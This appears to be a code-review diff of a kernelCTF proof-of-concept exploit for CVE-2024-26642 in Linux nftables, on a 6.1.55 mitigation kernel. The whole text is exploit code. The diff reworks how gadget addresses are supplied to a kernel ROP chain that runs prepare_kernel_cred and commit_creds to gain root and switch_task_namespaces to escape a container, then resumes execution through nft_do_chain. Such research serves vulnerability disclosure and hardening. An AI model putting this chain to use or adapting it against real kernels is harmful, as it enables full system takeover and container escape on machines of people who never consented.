Solve comments

Author: conlonial

pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/exploit

@@ -185,7 +185,7 @@ void setup_registers(struct payload* payload, int64_t kernel_off) {
   // essentially we copy a stack pivot gadget into them
   // the payload will be copied directly from the packet we send to trigger the payload
 
-  *(u64*)((u8*)rop_chain_rsi + 0xF) = kernel_off + POP_RSP_ADD_RSP_0X20_POP_RBX_RET;
+  *(u64*)((u8*)rop_chain_rsi + 0xF) = pop_rsp_add_rsp_0x20_pop_rbx;//kernel_off + POP_RSP_ADD_RSP_0X20_POP_RBX_RET;
 
   const u32* regs = rop_chain_rsi;
   int j = 0;
@@ -194,7 +194,7 @@ void setup_registers(struct payload* payload, int64_t kernel_off) {
       continue;
     }
 
-    payload->fast_exprs[j].fast_ops = kernel_off + NFT_PAYLOAD_FAST_OPS;
+    payload->fast_exprs[j].fast_ops = nft_payload_fast_ops;//kernel_off + NFT_PAYLOAD_FAST_OPS;
     payload->fast_exprs[j].base = NFT_PAYLOAD_NETWORK_HEADER;
     // offset of our skb payload data
     payload->fast_exprs[j].offset = 0x1c + i * 4;
@@ -220,30 +220,30 @@ void setup_rop_chain(struct payload* payload, int64_t kernel_off) {
   int i = 0x20 / 8;
 
   // had some issue with object boundaries. Lets get some more stack space ..
-  rop_chain[i++] = kernel_off + ADD_RSP_0X88_RET;
+  rop_chain[i++] = add_rsp_0x88;//kernel_off + ADD_RSP_0X88_RET;
   i += 0x88 / 8;
-  rop_chain[i++] = kernel_off + ADD_RSP_0X88_RET;
+  rop_chain[i++] = add_rsp_0x88;//kernel_off + ADD_RSP_0X88_RET;
   i += 0x88 / 8;
-  rop_chain[i++] = kernel_off + ADD_RSP_0X88_RET;
+  rop_chain[i++] = add_rsp_0x88;//kernel_off + ADD_RSP_0X88_RET;
   i += 0x88 / 8;
-  rop_chain[i++] = kernel_off + ADD_RSP_0X88_RET;
+  rop_chain[i++] = add_rsp_0x88;//kernel_off + ADD_RSP_0X88_RET;
   i += 0x88 / 8;
 
-  rop_chain[i++] = kernel_off + POP_RDI_RET;
-  rop_chain[i++] = kernel_off + INIT_TASK;
-  rop_chain[i++] = kernel_off + PREPARE_KERNEL_CRED;
+  rop_chain[i++] = pop_rdi;//kernel_off + POP_RDI_RET;
+  rop_chain[i++] = init_task;//kernel_off + INIT_TASK;
+  rop_chain[i++] = prepare_kernel_cred;//kernel_off + PREPARE_KERNEL_CRED;
 
-  rop_chain[i++] = kernel_off + MOV_RDI_RAX_RET;
-  rop_chain[i++] = kernel_off + COMMIT_CREDS;
+  rop_chain[i++] = mov_rdi_rax;//kernel_off + MOV_RDI_RAX_RET;
+  rop_chain[i++] = commit_creds;//kernel_off + COMMIT_CREDS;
 
-  rop_chain[i++] = kernel_off + POP_RDI_RET;
+  rop_chain[i++] = pop_rdi;//kernel_off + POP_RDI_RET;
   rop_chain[i++] = 1;
-  rop_chain[i++] = kernel_off + FIND_TASK_BY_VPID;
+  rop_chain[i++] = find_task_by_vpid;//kernel_off + FIND_TASK_BY_VPID;
 
-  rop_chain[i++] = kernel_off + MOV_RDI_RAX_RET;
-  rop_chain[i++] = kernel_off + POP_RSI_RET;
-  rop_chain[i++] = kernel_off + INIT_NSPROXY;
-  rop_chain[i++] = kernel_off + SWITCH_TASK_NAMESPACES;
+  rop_chain[i++] = mov_rdi_rax;//kernel_off + MOV_RDI_RAX_RET;
+  rop_chain[i++] = pop_rsi;//kernel_off + POP_RSI_RET;
+  rop_chain[i++] = init_nsproxy;//kernel_off + INIT_NSPROXY;
+  rop_chain[i++] = switch_task_namespaces;//kernel_off + SWITCH_TASK_NAMESPACES;
 
   // prepare to restore execution
   // nft_do_chain:
@@ -252,25 +252,25 @@ void setup_rop_chain(struct payload* payload, int64_t kernel_off) {
   //     lea r12, [rsp+0x48]
   //   exit:
   //     ffffffff81e517eb: 89 d0   mov    %edx,%eax
-  rop_chain[i++] = kernel_off + POP_RBP_RET;
+  rop_chain[i++] = pop_rbp;//kernel_off + POP_RBP_RET;
   rop_chain[i++] = 0x220 - 0x48;
-  rop_chain[i++] = kernel_off + LEA_RAX_R12_PLUS_RBP_POP5_RET;
+  rop_chain[i++] = lea_rax_r12_plus_rbp_pop5;//kernel_off + LEA_RAX_R12_PLUS_RBP_POP5_RET;
   i += 5;
 
   // prepare the stack restore gadget
-  rop_chain[i++] = kernel_off + POP_RCX_RET;
+  rop_chain[i++] = pop_rcx;//kernel_off + POP_RCX_RET;
   rop_chain[i++] = PAYLOAD_LOCATION(HELPER_CPU) + offsetof(struct cpu_entry_area_payload, pop_rsp_jmp_rsi_0xf);
 
   // prepare the return jmp gadget
-  rop_chain[i++] = kernel_off + POP_RSI_RET;
+  rop_chain[i++] = pop_rsi;//kernel_off + POP_RSI_RET;
   rop_chain[i++] = PAYLOAD_LOCATION(HELPER_CPU) + offsetof(struct cpu_entry_area_payload, nft_do_chain_leave) - 0xf;
 
   // setup the return vaule
-  rop_chain[i++] = kernel_off + POP_RDX_RET;
+  rop_chain[i++] = pop_rdx;//kernel_off + POP_RDX_RET;
   rop_chain[i++] = NF_DROP;
 
   // actually restore execution
-  rop_chain[i++] = kernel_off + PUSH_RAX_JMP_RCX;
+  rop_chain[i++] = push_rax_jmp_rcx;//kernel_off + PUSH_RAX_JMP_RCX;
 }
 
 
@@ -310,9 +310,9 @@ static void setup_cpu_entry_area(int64_t kernel_off) {
   }
 
   struct cpu_entry_area_payload payload = {};
-  payload.nft_expr_eval = kernel_off + POP_RSP_JMP_RSI_0XF;
-  payload.pop_rsp_jmp_rsi_0xf = kernel_off + POP_RSP_JMP_RSI_0XF;
-  payload.nft_do_chain_leave = kernel_off + NFT_DO_CHAIN_LEAVE;
+  payload.nft_expr_eval = push_rdi_jmp_rsi_0xf;//kernel_off + POP_RSP_JMP_RSI_0XF;
+  payload.pop_rsp_jmp_rsi_0xf = pop_rsp_jmp_rsi_0xf;//kernel_off + POP_RSP_JMP_RSI_0XF;
+  payload.nft_do_chain_leave = nft_do_chain_leave;//kernel_off + NFT_DO_CHAIN_LEAVE;
 
   PANIC_IF(_pin_to_cpu(HELPER_CPU) < 0);
   PANIC_IF(signal(SIGFPE, sig_handler) == SIG_ERR);